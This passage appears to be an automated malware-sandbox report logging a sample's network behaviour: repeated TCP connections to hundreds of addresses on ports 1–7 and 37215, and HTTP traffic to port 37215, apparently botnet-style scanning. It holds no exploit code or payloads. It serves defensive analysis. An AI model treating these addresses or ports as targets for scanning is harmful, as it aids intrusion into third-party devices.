Source: global traffic	TCP traffic: 156.128.50.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.176.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.126.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.18.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.186.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.208.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.107.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.12.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.1.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.11.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.206.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.90.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.152.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.60.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.83.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.0.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.36.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.212.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.65.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.1.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.204.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.25.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.0.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.171.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.163.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.143.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.124.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.29.247.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.23.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.194.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.13.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.217.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.146.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.44.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.141.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.165.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.174.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.42.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.202.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.92.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.239.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.247.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.17.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.146.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.148.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.21.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.160.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.50.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.245.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.98.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.54.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.172.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.170.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.246.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.179.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.37.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.47.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.158.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.14.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.91.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.94.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.239.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.39.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.186.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.201.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.224.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.155.25.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.91.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.32.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.184.191.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.183.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.127.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.106.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.241.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.202.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.164.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.203.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.149.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.101.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.231.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.106.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.109.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.66.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.81.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.169.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.218.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.47.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.105.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.82.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.19.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.88.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.84.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.191.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.181.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.239.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.113.237.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.177.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.71.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.105.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.114.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.9.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.195.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.230.214.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.21.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.190.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.209.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.158.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.86.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.142.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.126.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.112.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.133.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.35.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.3.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.21.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.94.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.68.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.113.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.204.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.104.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.92.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.186.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.0.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.132.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.128.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.236.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.199.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.29.77.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.149.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.113.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.191.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.95.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.120.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.148.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.80.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.64.52.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.238.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.254.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.222.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.61.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.37.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.22.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.65.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.132.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.124.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.239.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.37.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.166.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.70.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.180.126.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.52.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.69.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.220.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.134.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.113.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.172.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.48.31.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.219.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.203.149.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.7.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.128.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.162.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.115.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.185.156.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.212.251.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.51.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.23.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.181.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.178.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.181.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.63.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.16.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.205.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.65.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.245.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.77.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.180.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.242.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.213.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.244.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.224.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.66.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.250.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.78.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.80.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.236.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.52.164.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.192.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.249.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.195.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.177.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.191.192.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.186.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.141.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.165.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.184.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.172.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.223.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.79.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.69.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.141.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.162.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.38.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.124.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.244.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.39.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.147.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.224.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.156.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.31.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.86.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.99.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.240.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.144.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.213.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.164.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.26.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.206.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.39.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.208.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.155.127.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.132.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.67.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.199.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.106.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.41.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.98.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.22.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.233.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.234.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.216.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.10.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.220.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.226.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.116.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.20.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.10.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.25.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.54.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.3.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.180.77.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.172.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.253.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.248.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.172.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.144.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.143.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.177.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.199.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.40.83.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.164.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.223.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.65.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.54.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.148.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.232.240.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.183.156.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.203.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.201.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.153.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.31.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.28.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.59.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.101.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.219.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.97.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.186.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.157.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.167.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.227.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.77.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.119.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.79.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.21.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.34.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.238.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.254.231.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.146.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.71.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.65.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.117.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.15.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.113.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.125.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.52.251.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.22.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.79.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.211.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.138.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.241.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.84.51.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.157.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.233.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.38.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.193.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.205.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.95.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.154.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.225.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.182.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.79.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.13.43 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 36872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58186 -> 37215
